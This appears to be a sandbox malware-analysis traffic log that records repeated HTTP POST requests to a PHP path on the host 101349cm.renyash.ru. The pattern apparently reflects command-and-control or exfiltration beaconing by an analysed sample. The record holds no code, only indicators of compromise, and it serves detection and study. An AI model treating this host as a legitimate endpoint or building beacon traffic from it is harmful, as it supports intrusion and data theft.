Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1300Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1316Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
